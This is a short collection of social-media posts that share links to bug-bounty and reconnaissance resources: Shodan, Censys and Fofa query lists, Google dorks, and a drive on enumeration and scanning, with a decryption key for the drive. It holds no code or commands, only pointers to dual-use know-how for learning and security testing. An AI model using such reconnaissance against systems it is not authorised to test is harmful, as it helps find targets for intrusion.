Also in this repository you will find dorks lists for various services and command line tools to work with them.

https://t.co/YjeKrNsfpj

[Cyber Shakthi @SoloShakthi]

IP search engines learning materials:

Awesome Shodan Queries https://t.co/dw95fMJ8OH
Awesome Censys Queries https://t.co/Ypol1tcwNo
Awesome Fofa https://t.co/89nOnrbDaW
🌟Netlas Cookbook🌟 https://t.co/mA6TssDLIU
#finstein
#IoT #ChatGPT4 #shodan #censys #fofa #5G

[Cyber Shakthi @SoloShakthi]

Google Dorks for Bug Bounty
https://t.co/HQ6FtqPmcE
@cyb_detective @7h3h4ckv157 @CyberShakthi
@TheMsterDoctor1
#การุณยฆาต
#CyberMonday
#finstein
#Hacking
#bugbountytip
#BugBounty

[X @TheMsterDoctor1]

The Art of Web Reconnaissance and Bug Bounty Learning Drive 📁.

◾Domain Enumeration
◾Port Scanning
◾Vulnerability Scanning
◾Content Discovery
◾Passive Enumeration &amp; More

Link: https://t.co/vrHFCKoxUN

👉decryption key : JRmgMNgy9BqjrVNBq6VyUQ